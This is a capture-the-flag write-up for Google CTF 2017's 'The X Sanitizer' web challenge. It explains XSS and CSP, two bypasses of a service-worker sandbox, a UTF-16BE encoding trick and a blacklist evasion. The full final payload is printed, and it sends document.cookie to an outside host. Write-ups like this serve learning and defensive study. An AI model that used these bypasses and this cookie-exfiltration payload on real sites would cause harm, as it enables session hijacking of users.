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Last active Jun 29, 2017
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The X Sanitizer

Google CTF Quals 2017 - Web - The X Sanitizer

This is a writeup on The X Sanitizer challenge from Google CTF Quals 2017, which took place on 6/16/17-6/18/17.

This challenge was categorized as a Web challenge.

Some parts of this writeup will include background information about the concept.

Challenge Description

Investigation: Index page

The site contains a text box, which we can enter html into. When the button is clicked, it runs some kind of sanitization program, and finally renders the output back to the screen. The page claims that the entire process is client side, and that there is no hidden server logic. From this and description, I would guess that the goal is to preform a Cross Site Scripting (XSS) attack on the page.

Background: Cross Site Scripting

Browsers try to protect users from malicious websites by using something called the Same Origin Policy (SOP). This policy controls what a website can and cannot do. For example a website can access its own cookies and read its own web pages, but it cannot read the cookies or data of another webpage. To define what a webpage is, we use the term origin. A page's origin in most cases is based on the domain name. So is one origin, while is another.

The fact that SOP blocks cookies is a good thing for the user, because most websites use cookies to tell if you are logged in. Reading another site's cookie would allow an attacker to log in as you.

However, I mentioned that websites can access their own cookies. Here is where XSS comes into play. If an attacker can run javascript on a website, they will have all the same permissions as the website, even if the script was not originally from the website (hence the name cross site scripting). Executing javascript on this origin will be our goal for this challenge.

Investigation: Santization system

Included from the index page was two javscript script file sanitize.js. We can see that it first takes our input in the Sanitize function. The code then spawns a service worker. Service workers are a feature in chrome which allow the client to server response to requests for a script. Below we can see the responses it sends as part of the fetch function:

  • /sandbox will append the contents of the url parameter html to this html which loads the sanitize script:
    <!doctype HTML>
    <script src=sanitize>
  • /sanitize will respond with a script that sets up a 1 second timer to respond to the parent, as well as a Content Security Policy (more on that in a second). It also creates a remove function which will either delete a given html node, or remove the documents contents:
    // Onload, wait one second, and respond with the document's contents
    onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000);
    // This function removes a given node from the document
    remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node);
    // On CSP error, call remove on the violating element
    document.addEventListener("securitypolicyviolation", e => remove(;
    // Write an html meta tag to enable the CSP
    document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>');
  • Any other request will respond with a page that is designed to either be html or javascript, either way it will run the javascript (since it will request x which just returns this page again.) The purpose of this code is to delete whatever requested it, either the script tag, or the HTML import (we'll look at this more soon too):
    with(document) remove(document === currentScript.ownerDocument ? currentScript : querySelector('link[rel="import"]'));
    // <script src=x></script>

The sanitize function first tries to remove a few black listed words from our input:

while (html.match(/meta|srcdoc|utf-16be/i)) html = html.replace(/meta|srcdoc|utf-16be/i, '');

Since they run it with a loop, we cannot bypass it by simply doing something like <me<meta>ta>. However, it is good to keep in mind what they are trying to block.

Finally the function creates an iframe pointed at /sandbox?html=<OURINPUT> and lets it run. As we saw above, after 1 second the page will send its contents to us. Once we get that back, the script writes the contents to the page without any further sanitization. If we can get any javascript into here, we should be able to steal the cookies.

Investigation: Sandbox page

As I said, the script run in the sandbox page sets up a Content Security Policy (CSP) using the meta html tag. This policy consits of default-src 'none'; script-src *. This means that by default all requests and inline content will be blocked, but all script requests will be allowed (but not inline content). Seeing this we can also check the CSP of the main page to find it is script-src 'self' which will block all script requests not going to the same origin.

Background: Content Security Policy

A CSP is another tool the browser uses to protect sites. Like SOP it dictates what a site is allowed to do. However, these restrictions are actually enabled by the site itself, to protect it from things it might not normally do. For example, if a site never expects to run unsigned script tags, then if one appears, it is probably an attacker trying to preform an XSS attack. By setting script-src in the CSP, the site knows to block that tag. Good CSPs are very effective and can be very difficult to bypass.

To check for a CSP, first check the response headers of the site. If there is not one there, it can still be enabled with a <meta> HTML tag in the page header.


The CSP on the sandbox page also has a special feature. The sanitize script sets up a callback which will be called on securitypolicyviolation which will happen any time a request is blocked by the CSP. It calls the remove function, which will delete the element that caused the CSP to trigger, removing them from the final output of the sandbox!

The second feature is that any scripts we run will respond with the javascript that removes the script tag. This also tries to stop HTML imports. HTML imports are a way of loading another HTML page into the current page, and is useful for XSS since the browser will run anything we put on the other page (assuming the CSP doesn't stop it.) It is done like this: <link rel="import" href="page to load">

Here, importing any page will also respond with this response. The javascript will be ignored, but <script src=x></script> will run, and the same script will be loaded. querySelector('link[rel="import"]') looks for the link tag doing the import.

At first glance it seems that every way for us to run javascript is either blocked, or will cause our tags to be removed from the final output!

Sandbox Bypass

I found two ways to bypass the sandbox, and inject script tags into the main page. Both of them use the HTML import feature.

Method 1:

To respond to the parent, we saw that the sandbox uses a one second time:

setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000)

When this timer triggers, anything still on the page will be send back to the script.

I found that by using the async feature of HTML imports, I could cause some to remain when time was up. Adding async to the import tag, causes the import to actually be loaded after the page has finished loading. This means that onload would have been triggered, and the timer would have started counting down. By adding a large number of these tags (around 500), some will remain by the time 1 second is up.

Method 2:

A simpler method, (probably the intended solution) is due to a flaw in their code. When the import removing code is run, it uses querySelector('link[rel="import"]') to find the link tag. However this will only locate the first link tag.

If we put <link rel="import"> and also <link rel="import" href="page to load>, then only the first will be deleted when the second is loaded!

Using either method, we can now do a HTML import on the main page. However there is a new problem! As I mentioned above, the main page has a CSP with script-src 'self'. This means that we can only run scripts and import pages from the domain.

Bypassing script-src 'self'

Our goal is still to run javscript, but now we must find a way to load it from the somewhere on the challenge.

Injecting a Script Tag

Lets start by injecting a script tag using the HTML import we smuggled out of the sandbox. This is relatively easy, thanks to the sandbox page. We can url encode the script tag with javascript and put it as the html url parameter.

payload = encodeURIComponent('<script src="target"></script>');

Requesting /sandbox?html=%3Cscript%20src%3D%22target%22%3E%3C%2Fscript%3E gives us

<!doctype HTML>
<script src=sanitize>
<body><script src="target"></script>

You may be worried about the sanitize script being run again, but luckily since our code doesn't actually 'activate' it, there is no client yet, so the logic causes it to 404:

var isSandbox = url => (new URL(url)).pathname === '/sandbox';
if (client && isSandbox(client.url)) {
   // Respond with sanitize stuff
} else if (isSandbox(e.request.url)) 
  // Respond with sandbox page
} else 
  // Try to load the real page (causes /sanitize to 404)
  return fetch(e.request);

Our payload so far:

<link rel="import"><link rel="import" href="/sandbox?html=%3Cscript%20src%3D%22target%22%3E%3C%2Fscript%3E">

Putting Javascript on /sandbox

Now we can load a script, but we can still only load from the domain. We can try to put our script on /sandbox like we did the script tag, put that gives us problems, since the tags in the first part of the page is not valid javascript.

To bypass this we can use an encoding attack. An encoding attack is where we specifiy a multibyte encoding for the script. If we are lucky, all of the html junk will turn into one large valid identifier, thanks to javascript's unicode support.

If we were to load the page as utf16 big endien (specified as utf-16be), beginning turns into:


To prevent this from causing an error, we can append =0\n. Now we can also append our own cookie stealing payload and encode it as utf-16be and urlencode (for normal characters in utf-16be, the character is prepended by a null byte):

utf16be = function(s) {
  var out = '';
  for (var i=0; i<s.length; i++) {
    out += '\0' + s[i];
  return out;
payload = encodeURIComponent(utf16be('=0\nlocation="//"+document.cookie'));

We can load it like this:

<script src="/sandbox?html=%00%3D%000%00%0A%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%22%00%2F%00%2F%00i%00t%00s%00z%00n%00.%00c%00o%00m%00%2F%00%22%00%2B%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e" charset="utf-16be"></script>

The script that is run is this:


Putting it all together

Now we can put that script into the import like we did before, and we should be good to go:

payload = encodeURIComponent(utf16be('=0\nlocation="//"+document.cookie'));
payload = encodeURIComponent('<script src="/sandbox?html='+payload+'" charset="utf-16be"></script>');
payload = '<link rel="import"><link rel="import" href="/sandbox?html='+payload+'">'

This gives us the final long payload

<link rel="import"><link rel="import" href="/sandbox?html=%3Cscript%20src%3D%22%2Fsandbox%3Fhtml%3D%2500%253D%25000%2500%250A%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500%253D%2500%2522%2500%252F%2500%252F%2500i%2500t%2500s%2500z%2500n%2500.%2500c%2500o%2500m%2500%252F%2500%2522%2500%252B%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%22%3E%3C%2Fscript%3E">

However, if we try this, we find there is still one problem!

The original sandbox removes 'utf-16be' from our input:

while (html.match(/meta|srcdoc|utf-16be/i)) html = html.replace(/meta|srcdoc|utf-16be/i, '');

This is easy to bypass, as we can just url encode utf-16be to utf-16b%65 with this:

payload = payload.replace('utf-16be','utf-16b%65');

The final corrected payload is

<link rel="import"><link rel="import" href="/sandbox?html=%3Cscript%20src%3D%22%2Fsandbox%3Fhtml%3D%2500%253D%25000%2500%250A%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500%253D%2500%2522%2500%252F%2500%252F%2500i%2500t%2500s%2500z%2500n%2500.%2500c%2500o%2500m%2500%252F%2500%2522%2500%252B%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%22%20charset%3D%22utf-16b%65%22%3E%3C%2Fscript%3E">

Waiting for the request back we see

GET /?flag=CTF{no-problem-this-can-be-fixed-by-adding-a-single-if} HTTP/1.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-DevTools-Request-Id: 2811.24
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/59.0.3071.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

And we have captured the flag! CTF{no-problem-this-can-be-fixed-by-adding-a-single-if}

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